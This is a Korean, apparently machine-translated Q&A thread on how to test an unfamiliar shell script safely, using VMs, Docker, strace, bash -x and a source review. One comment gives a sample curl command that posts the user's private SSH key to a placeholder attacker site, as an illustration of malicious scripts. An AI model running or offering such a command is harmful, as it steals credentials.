컴퓨터의 손상을 피하기 위해 "안전한 환경"에서 쉘 스크립트를 테스트하려면 어떻게해야합니까?


29

다음 명령을 사용하여 42FileChecker라는 특정 bash 스크립트를 설치하고 싶습니다.

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker &&
    cd ~/42FileChecker &&
    bash ./42FileChecker.sh

그러나 나는 초보자이기 때문에 42FileChecker.sh가 내 PC에서 이상한 일을 할 것인지 모르겠습니다. 더미 터미널이나 더미 루트 폴더 등에서 드라이브를 포맷하는 것과 같은 미친 것을 피하기 위해 어떤 일이 일어나는지 확인하는 방법이 있습니까? 42FileChecker.sh가 안전하더라도 향후 쉘 스크립트를 위해 쉘을 테스트하는 방법을 알고 싶습니다.


5
스크립트이므로 스크립트를 읽고 man포함 된 명령 의 페이지를 읽을 수 있습니다.
월터 레이터

1
코드가 Git에서 호스팅되므로 도구의 소스를 읽을 수 있습니다. 코드 검토가 마음에 들지 않으면 안전한 환경 (샌드 박스, VM)에서 실행하여 일종의 "동적"분석을 수행하는 것이
차선책입니다

4
@waltinator 의도하지 않은 동작이 아닌 악의적 인 동작 이 염려된다면 맨 페이지를 읽는 것이 도움이되지 않습니다.
레이

1
@Ray는 실행중인 명령 자체가 악의적 인 경우에만 해당 매뉴얼 페이지에서 실제 효과를 숨길 수 있습니다. 나는 waltinator 표준 명령, 예를 들어 악의적 인 사용의 더 가능성 경우를 언급했다 생각 chmod 777 -R ~하거나 curl http://badsite.example.com/secret-grabber.php -d @"$HOME"/.ssh/id_rsa또는 유사한.
와일드 카드

1
관련 . 당신은 어떤 해를 위험없이 스크립트를 테스트 할 수 귀하의 컴퓨터는 세션을 잠금 동료를 가르 칠 것입니다.
Eric Duminil

답변:


4

나는 이것에 전문가가 아니지만 straceand 사용하는 것이 좋습니다 docker.

따라서 먼저이 답변 의 지침에 따라 Docker 컨테이너를 만듭니다 . 그러나 strace는 시스템 호출이 무엇인지 알려줍니다. 또는 인용 :

strace는 Linux 용 진단, 디버깅 및 교육용 사용자 공간 유틸리티입니다. 시스템 호출, 신호 전달 및 프로세스 상태 변경을 포함하여 프로세스와 Linux 커널 간의 상호 작용을 모니터링하고 변조하는 데 사용됩니다.

이 명령들을 결합하여

docker exec -it ubuntu_container strace bash ./42FileChecker.sh

따라서 이것은 스크립트의 각 줄을 단계별로 수행하고 컨테이너 내 에서이 모든 작업을 수행합니다. 즉, 모든 명령은 시스템에 아무런 영향을 미치지 않지만 평소대로 실행됩니다. 이것을 올바르게 이해하고 있습니까?
nicholas

1
@nicholas 예 도커 컨테이너는 보호를 위해 별도의 시스템이며 프로그램은 샌드 박스입니다. Strace는 파일 열기에서 네트워크 연결 설정에 이르기까지 응용 프로그램이 해당 시스템에서 수행하는 모든 작업을 제공합니다.
토마스

1
그렇습니다 .Strace는 Docker와 결합했습니다.
nicholas

42

스크립트의 기능이 확실하지 않은 경우 스크립트의 기능을 확신 할 때까지 스크립트를 실행하지 않는 것이 좋습니다. 잘못된 스크립트의 손상 반경을 줄이는 방법은 새 사용자를 사용하여 실행하거나 컨테이너에서 실행하거나 가상 시스템에서 실행하는 것입니다. 그러나 첫 번째 진술은 여전히 ​​유지합니다. 무엇이 무엇인지 확실하지 않은 경우 수행 할 때까지 실행하지 않는 것이 좋습니다.


6
반면에 대본은 EULA와 같습니다. 예, 영혼을 팔기 전에 모든 한 줄을 읽고 이해해야합니까?
베드로-모니카 복원 복원

7
@ PeterA.Schneider, 그러나 EULA는 법정에 올 때까지 실제로 아무것도하지 않습니다. 스크립트를 실행하면 컴퓨터에 즉시 영향을 미칩니다. 모든 줄을 읽는 것은 그리 중요하지 않습니다. "신뢰의 신뢰에 대한 반영"과 스크립트의 출처를 알고 신뢰하는 것에 대한 자세한 내용입니다.
와일드 카드

29

@ctt가 말했듯이 먼저 일종의 샌드 박스에서 실행하는 것이 좋습니다. VM을 사용하는 것이 가장 쉬운 솔루션 일 것입니다. 멀티 패스 는 매우 간단합니다.

멀티 패스를 설치하십시오 (아직 가정하지 않은 경우).

sudo snap install multipass --beta --classic

새로운 VM을 가동시킵니다 :

multipass launch --name myvm

새 VM에 로그인하십시오.

multipass shell myvm

그런 다음 vm 내부에서 스크립트를 실행하십시오.

multipass@myvm:~$ git clone https://github.com/jgigault/42FileChecker ~/42FileChecker && cd ~/42FileChecker && bash ./42FileChecker.sh

38
이 방법은 안전하지 않습니다. 샌드 박스에서 스크립트를 실행 한 후에 안전한지 어떻게 알 수 있습니까? 쉽게 말할 수없는 해로운 영향을 줄 수 있습니다. 멀웨어가 반드시 팝업되어 "Haha, got you!"라고 말하는 것은 아닙니다. 또한 악성 스크립트는 샌드 박스 나 VM에서 쉽게 정상적인 방식으로 행동 한 다음 실제 컴퓨터에서 악의적으로 행동 할 수 있습니다. 예를 들어, 머신 지문과 마찬가지로 VM 감지도
DW

12
이것은 좋은 지적입니다. 스크립트에 맬웨어가 있는지 검사하려는 경우 효과적인 솔루션이 아닙니다. 호스트 시스템을 오염시키지 않고 기능을 테스트하는 방법입니다.
Ryan J. Yoder

"제어"VM과 전체 비교를 수행 할 수 있습니다.
mckenzm

6
@mckenzm : 그러나 그것이 맬웨어라면, 육즙이 보이는 것으로 접근 할 수있을 때까지 아무것도하지 않는 것이 전적으로 가능합니다.
Henning Makholm

11

당신이 다니고있는 학교가 대본을 출판했을 때, 당신의 우려를 표명하기 가장 좋은 곳은 강사에게 있습니다.

즉, 한 줄씩 코드를 해독하는 데 도움이 될 수 있습니다. 여기있는 모든 사람이 모든 코드 를 분석 하는 것은 비현실적 일 것입니다 .

실제로 총 5,360 줄의 40 개의 bash 스크립트가 있습니다. 나는 그것들을 함께 결합하고 남용 될 수있는 bash / shell 명령을 찾았습니다. 그들은 모두 정상적으로 사용되는 것처럼 보입니다 .

$ cat /tmp/sshellcheck.mrg | grep " rm "

      rm -rf "$RETURNPATH"/tmp/*
      rm -f "$RETURNPATH"/.mynorminette
    rm -f $LOGFILENAME
    rm -f $LOGFILENAME
      rm -f .mymoulitest
        rm -f "${RETURNPATH}/tmp/${FILEN}"

$ cat /tmp/sshellcheck.mrg | grep -i kill

  function check_kill_by_name
          kill $PROCESSID0
  declare -a CHK_MINISHELL_AUTHORIZED_FUNCS='(malloc free access open close read write opendir readdir closedir getcwd chdir stat lstat fstat fork execve wait waitpid wait3 wait4 signal kill exit main)'
        check_kill_by_name "${PROGNAME}"
      kill -0 "${CURRENT_CHILD_PROCESS_PID}" 2>/dev/null && kill "${CURRENT_CHILD_PROCESS_PID}" 2>/dev/null
      display_error "killed pid: ${CURRENT_CHILD_PROCESS_PID}"
    check_kill_by_name "$PROGNAME $PROGARGS"
        check_kill_by_name "$PROGNAME $PROGARGS"
        kill ${PID} 2>/dev/null

$ cat /tmp/sshellcheck.mrg | grep -i root

      "check_configure_select ROOT" "Root folder:          /"\
      'ROOT')
        echo "'${ALLOWED_FILES}' must be placed at root folder but was found here:" >>"${LOGFILENAME}"
        printf "%s" "'${ALLOWED_FILES}' must be placed at root folder"

$ cat /tmp/sshellcheck.mrg | grep -i sudo

$ 
  • rm -rf /전체 하드 디스크 파티션을 지우라는 명령 이 없습니다 .
  • sudo스크립트를 실행하는 데 사용할 필요는 없습니다 .
  • 이 스크립트는 실제로 C검사 된 파일에 인증 된 기능 만 사용되도록합니다.
  • bash / shell 코드를 빠르게 탐색하면 전문적으로 작성되어 따르기 쉽다는 것을 알 수 있습니다.
  • 병합 된 포함 파일에서 shellcheck 를 사용하면 세 가지 구문 오류 만 나타납니다.
  • 저자 이름이 식별되고 주요 저자는 자신의 github페이지 에 자신의 사진이 있습니다 .
  • 수명 보증은 없지만 42FileChecker사용하기에 안전합니다.

인간이 읽을 수있는 bash 스크립트는 아닙니다. 읽을 수없는 컴파일 된 이진 객체는 문제의 원인입니다. 예를 들어 "shiny-bouncy-sphere"라는 프로그램은 화면에 비슷한 것을 칠할 수 있지만 배경에서는 모든 파일을 지울 수 있습니다.


원래 답변

스크립트 작성자에게 요청하는 것이 가장 좋습니다. 실제로, 당신은 위에 나타난 것처럼 거의 그대로 질문을 게시 할 수 있습니다.

또한 저자에게 물어보십시오 :

  • 어떤 파일이 업데이트됩니까?
  • 정전 또는 프로그램 버그로 인해 충돌이 발생하면 어떻게됩니까?
  • 미니 백업을 먼저 수행 할 수 있습니까?

그리고 당신이 생각할 수있는 다른 좋은 질문들.


편집 1-악의적 인 작성자에 대해 걱정합니다.

좋은 공개 리뷰가 많은 소프트웨어 만 사용해야합니다. 또한 Serge, Jacob, Colin King 등과 같은 Ask Ubuntu에서 신뢰하는 저자도 있습니다. Ask Ubuntu와 같은 다른 존경받는 사이트 및 그들의 존경받는 회원들도 "악의적이지 않은"것으로 간주되어야합니다.

Ask Ubuntu의 "존중있는 저자"의 장점은 "평판 포인트"에 대한 자기의 가치를 평가한다는 것입니다. 데이터를 "훔친"또는 "손상된"코드를 의도적으로 작성해야한다면 평판이 빨리 떨어질 것입니다. 실제로 저자들은 "변조의 분노"를 겪을 수 있고 정지되거나 10,000 점의 평판을 앗아 갈 수 있습니다.


편집 2-모든 지침을 따르지 마십시오

bash 스크립트 지침을 자세히 살펴 보았습니다.

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker &&
    cd ~/42FileChecker &&
    bash ./42FileChecker.sh

"안전한"방법은 첫 번째 줄만 실행하는 것입니다.

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker

스크립트가 다운로드되지만 실행되지는 않습니다. 다음으로 nautilus(파일 관리자)를 사용하여 설치된 디렉토리 및 파일을 검사하십시오. 프랑스의 학생들이 작성한 bash 스크립트 모음이 매우 빨리 발견됩니다.

스크립트의 목적은 부적절한 기능과 메모리 누수에 대해 C 프로그램을 컴파일하고 테스트하는 것입니다.


1
예,하지만 저자가 의도적으로 악의적 인 일을하는 상황에 대해 생각하고있었습니다.
nicholas

1
@nicholas 답변을 수정하여 귀하의 의견에 답변했습니다.
WinEunuuchs2Unix

2
저는 Ecole 42 과정에서 C를 배우고 있습니다. 내가 만들고있는 기능은이 규범 검사를 거쳐야합니다. 이 규범 검사를 실행하려면 우분투에 42FileChecker를 설치해야합니다. 나는 지금이 스크립트를 믿어야한다고 생각하지만, 사람 검색을하는 데 그다지 좋지 않기 때문에 먼저 스크립트의 "안전 실행"을 수행하는 방법을 알아야했습니다. 도와 주셔서 감사합니다. 다음에 VM을 실행하겠습니다.
니콜라스

2
~/42FileChecker/includes/display/display_credits.sh상태 norminette의 작업 @nicholas 라인 24 는 의존성 norminette (42 born2code) http://www.42.fr입니다. 나는 지난 밤에 이것을 읽었고 이것이 42FileChecker 를 출판 한 프랑스의 학교 (에콜)라고 쓴 이유 입니다. 지금까지 내가 찾은 코드에서 코드를 실행하는 것에 대해 걱정할 필요가 없습니다. 또한 shellcheck5,360 라인 bash 스크립트에서 놀라운 구문 오류가 거의 없습니다 . 전문적으로 게시 된 많은 bash 스크립트에는 많은 구문 오류가 있습니다.
WinEunuuchs2Unix

2
@nicholas 보안 관점에서 클래스에 제공된 환경과 스크립트를 사용하는 것이 가장 좋은 방법 일 것입니다. 또한 공식 강좌 버전과 다른 행동의 가능성을 제거하여 턴온시 놀랍습니다. 캠퍼스에서 제공 한 VPN 서비스 또는 원격으로 액세스 할 수있는 다른 컴퓨터의 SSH를 사용하여이 컴퓨터에 원격으로 액세스 할 수 없습니까?
트론 맨더

5

Docker를 사용할 수 있습니다. Docker 컨테이너는 호스트 OS와 분리되어 있으므로 포트를 전달하거나 파일 시스템을 마운트하여 특별히 차단하지 않는 한 악의적 인 활동은 컨테이너 내에 유지됩니다.

도커를 설치하려면

sudo apt-get install docker.io

새로운 Ubuntu Bionic 컨테이너를 다운로드하려면

docker pull ubuntu:bionic

그런 다음 컨테이너에 로그인하십시오.

docker run -it ubuntu:bionic

그리고 dodgy 작업을 수행하십시오.

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker && cd ~/42FileChecker && bash ./42FileChecker.sh

1
Docker의 또 다른 이점은 스크립트가 수행하는 작업을 결정하는 데 도움이 될 수 있다는 것입니다 docker diff. 컨테이너를 시작한 후 파일 시스템에 어떤 변경 사항 이 있는지 확인할 수 있습니다 . Docker 사용의 단점은 컨테이너가 호스트 시스템의 전체 사본이 아니라는 것입니다. 여기서 언급 한 Ubuntu 이미지에는 최소한의 Ubuntu 설치 만 포함되어 있습니다.
Martijn Heemels

2
대신 docker run ubuntu실행해야합니다 docker run -it ubuntu:bionic. -it컨테이너에 대화식 터미널을 제공하고 bionic실제로 기본값 대신 원하는 버전을 실행합니다 latest.
Martijn Heemels

나는이 답변이 내가 본 것 중 가장 좋은 것을 좋아한다. 그러나 dodgy 스크립트가 여전히 시스템을 악용 할 수있는 것 같습니다. 그것은 비밀리 등 bitcoins을 채굴 할 수있는 이상적 일 가능성이 추가 플래그를 사용할 수 있습니다 --memory, --network그리고 정말로 어쩌면 다른 스크립트를 잠글.
모리

1
당신이 정말 편집증이라면이 답변을 두 번째 최고의 답변과 결합하십시오. 가상 머신 내에서 도커를 실행하고 모든 것을 잠급니다.
모리

3

다음과 같이 스크립트를 실행하여 디버깅 모드를 사용하십시오.

$ bash -x scriptname

더 유용한 배쉬 정보

디버깅 모드는 스크립트가 나쁜 일을하는 것을 막지는 않지만 스크립트를 한 줄씩 살펴보고 그 효과를 검사 할 수 있습니다. 스크립트에 발생할 수있는 일반적인 실수 및 / 또는 악용 사례가 있는지 확인할 수도 있습니다. 예를 들어 스크립트에서 발생하는 부분 rm을 검색하고 해당 명령을 매우 자세히 살펴보십시오. 이러한 도구의 대부분이 그들을 밖으로 시도하기위한 내장 도움이, 예를 들어, RM은 기본적으로 디렉토리는 삭제되지 않습니다, 그것은 필요로하는 -r, -R또는--recursive 그렇게 할 옵션을 선택합니다.

이러한 패턴에 대해 bash 스크립트를 검색하는 바이러스 백신과 같은 도구가있을 수도 있지만 이름으로 알 수는 없습니다. 예제 스크립트는 다른 도구를 다운로드한다는 의미에서 추가적인 iffy입니다. 따라서 각 스크립트도 검사해야합니다. 연락하는 서버를 확인하는 것도 좋습니다.


-x는 디버깅에 사용할 수 있지만 사용합니다. 한 줄씩 스크립트를 단계별로 진행할 수는 없습니다. 스크립트를 최고 속도로 실행할 때 일종의 "추적"을 제공합니다.
jrw32982는

2

답변을 제공하기위한 관련 정보는 불행히도 귀하의 의견에만 있습니다.

저는 Ecole 42 과정에서 C를 배우고 있습니다. 내가 만들고있는 기능은이 규범 검사를 거쳐야합니다. 이 규범 검사를 실행하려면 우분투에 42FileChecker를 설치해야합니다.

따라서 실제로 과정을 건너 뛸 수있는 옵션이 있거나 스크립트를 실행하여 소스에서 규범 적 검사를 수행 할 수 있습니다. 전자의 부족으로 인해 강사와 대화하는 것은 거의 불가능합니다 (어쨌든 선택권이 아니므로 한 학생이 만족하지 않기 때문에 학교가 절차를 변경하지 않습니다).
따라서 해당 스크립트의 가능한 손상을 제한하기 위해 수행해야 할 문제는 발생하지 않습니다. 큰 가슴을 가진 흥분한 소녀가 당신에게 이메일을 보냈으며, 그녀의 사진을보기 위해 달려야 하는 것은 무작위 스크립트가 아닙니다 .
당신은 프로그래밍 수업을하고 있습니다.이 스크립트가 시작된 곳입니다. 문제는 코스를 성공적으로 마치기위한 프레임 조건을 준수할지 여부입니다.

그러나 정말로 걱정되는 경우 컨테이너 또는 가상 머신에서 스크립트를 실행하고 소스를 공유 폴더 또는 컨테이너 / 가상 머신에 의해 노출 된 네트워크 공유에 넣을 수 있습니다. 그것은 완전히 편집증의 길을 가고 있지만 요즘 가상화는 실제로 그렇게 복잡하지는 않으므로 많은 비용이 들지 않습니다.

이 스크립트에 포함 된 정말로 가혹한 익스플로잇 가능성을 배제하고, 루트가 아닌 사용자로 로그인 (우분투에서 달리 할 수있는 선택은 거의 없음 )하고 명백한 이유없이 타이핑 sudo 하지 않는 것이 99 %의 어쨌든 일어날 수있는 모든 나쁜 일들. 당신이 걱정하는 하드 디스크 포맷과 같은. 일반 사용자는 그렇게 할 수 없습니다. 가장 나쁜 일은 스크립트가 사용자의 홈 디렉토리를 지우는 것입니다. 그래서 문제는 없습니다.


sudo스크립트를 실행하는 데 필요한 경우 여기에 OP 의견이 있으면 좋겠습니다. +1
WinEunuuchs2Unix

회피 sudo는 버그로 인한 우발적 인 삭제 / 포맷의 범위만을 제한합니다. 스크립트가 악의적이거나 악용 sudo될 수있는 경우 단일 사용자 시스템 에서 실행 하면 본질적인 차이가 없습니다.
다른 사람

@ WinEunuuchs2Unix 나는 sudo가 필요하다고 생각하지 않습니다. 나는 실제로 실제로 모른다. apt 설치 명령에 sudo를 사용하고 있지만. 스크립트를 실행하기 위해 사용해야합니까?
nicholas

1
@nicholas 컴파일하고 테스트 할 C 프로그램이 42FileChecker없으므로 sudo필요한지 여부를 실제로 말할 수 는 없습니다. bash 스크립트는 sudo를 확인하지 않고 사용하도록 지시합니다. 그런 다음 sudo필요하지 않은 것으로 나타납니다 . 다시 한번 나는 당신의 강사 (교사)에게 묻는 것이 최선의 정책이라고 생각합니다. 스크립트를 약간 분석하여 한 시간 전에 답변을 업데이트했습니다. mynorminette코드 내에 " " 라는 이름이 다시 나타납니다.
WinEunuuchs2Unix

1
@nicholas 나는 몇몇 강사들이 개인적으로 norminette, yyang42, alelievr, anisg, QuentinPerez, gabkk, patorjk 및 Jean-Michel Gigault에 대해 알고 42FileChecker있습니다. 강사와 대화하면 안심할 수 있다고 생각합니다. 몇 시간을 조사한 후 프로그래머와 그들의 창조물에 대한 믿음이 있습니다. Jean-Michel Gigault는 github에 그의 그림을 가지고 있습니다. 노란 조끼 씨앗이 자라는 땅에 대한 확신의 증거. 비바 라 프랑스! (et Ecole 42 :)) 우리에게 호의를 베풀고 진전 업데이트를 제공하십시오.
WinEunuuchs2Unix
당사 사이트를 사용함과 동시에 당사의 쿠키 정책개인정보 보호정책을 읽고 이해하였음을 인정하는 것으로 간주합니다.
Licensed under cc by-sa 3.0 with attribution required.